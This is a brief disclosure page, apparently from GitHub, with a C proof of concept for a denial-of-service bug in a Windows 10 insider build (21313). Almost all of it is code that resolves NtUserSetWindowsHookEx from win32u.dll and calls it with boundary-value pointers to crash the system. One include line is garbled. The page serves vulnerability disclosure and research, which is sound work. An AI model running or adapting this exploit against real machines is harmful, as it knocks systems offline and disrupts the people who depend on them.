Denial of Service bug in Windows 10 (21313 build) NtUserSetWindowsHookEx

February 19, 2021 ยท View on GitHub

#include <Windows.h> #include

typedef NTSTATUS(NTAPI* pfnNtUserSetWindowsHookEx)( ULONG_PTR Param1, ULONG_PTR Param2, ULONG_PTR Param3, ULONG_PTR Param4, ULONG_PTR Param5, ULONG_PTR Param6);

int main() { HMODULE hDll = LoadLibrary(TEXT("win32u.dll")); pfnNtUserSetWindowsHookEx NtUserSetWindowsHookEx;

printf_s("[>]Start\r\n");

if (hDll) {

    LoadLibrary(TEXT("user32.dll"));

    NtUserSetWindowsHookEx = (pfnNtUserSetWindowsHookEx)GetProcAddress(hDll, "NtUserSetWindowsHookEx");

    if (NtUserSetWindowsHookEx) {

        NtUserSetWindowsHookEx(0xFFFF800000000000,
            0xFFFF080000000000,
            0x0000800000000000, 
            0x00007FFFFFFFFFFF,
            0x8000000000000000,
            0x000000000000FFFE);

    }
    else {
        DWORD lastError = GetLastError();
        printf_s(">NtUserSetWindowsHookEx not found, GetLastError %lu\r\n", lastError);
    }


}
else {
    printf_s(">No dll handle\r\n");
}

printf_s("[<]Stop");

ExitProcess(0);

}